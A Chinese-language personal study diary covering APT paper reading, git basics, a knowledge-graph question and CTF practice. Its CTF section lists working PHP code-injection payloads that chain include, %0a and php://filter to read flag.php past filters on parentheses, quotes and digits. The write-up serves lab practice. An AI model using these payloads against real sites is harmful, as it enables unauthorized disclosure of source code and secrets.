G1D13-Apt论文阅读&fraud&git&KGbook&rce33-36&php环境搭建

一、APT论文

今天终于把6个模型论文和一篇综述读完了！！！
今天主要读了一篇论文+写了个总表。发现之前读的论文都忘了，所以

明天要复习一下模型，记录在文档中，并完善模型对比的总表，并且把代码下载下来。

接下来，终于可以看看电信诈骗论文了！！！开心！！！

二、诈骗代码复现

今天主要任务是复现别人的wp，并且看看有无改进i选哪个发。

（一）git学习

“要善其事，先利其器”，先学一波git

1、git 配置

（1）git config：配置或读取相应的工作环境变量
（2）/etc/gitconfig文件：–system命令，对应所有用户
（3）~/.gitconfig文件：–global，用户目录下的配置文件只适用于该用户
（4）低下级别的同名变量覆盖上面的

2、用户信息

3、工作流程

1. 克隆
2. 添加/修改
3. 更新
4. 提交前查看更改
5. 提交修改
6. 发现错误后，撤回提交，并再次修改并提交。
   

4、工作区、暂存区和版本库

工作区：电脑里可以看到的目录
暂存区：stage/index，存放在.git目录下的index（.git/index）中，
版本库：工作区隐藏目录—.git

暂存区的意义是什么？
git add 文件名，可以选择性地向暂存区添加内容，然后分批提交。

当然还有其它说法，但是不影响使用，先用吧！！要写代码！！

搞了好久哈哈

三、知识图谱读书

1、为什么知识图谱是符号主义呢？符号主义是强调推理和心智吗？

四、ctf刷题

33、

34、过滤了括号-》可以使用语言结构

echo
print
isset
unset include require

1、print执行不了，只能打印字符
?c=print%0a$_GET[1]?>&1=phpinfo()
phpinfo在数据段，不在代码段，系统理解为字符串。
如果想执行的话，需要把print变为eval，在加上括号。

2、还是用include就可以
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

35、多了<和=

在这里插入图片描述

不影响用include
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
和上题一样

36、不让用数字了

用字母就好了，字母可以不用单引号
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

环境搭建

吃零食太多啦~
下了相关软件，但是环境没配完~
到点熄灯啦在这里插入代码片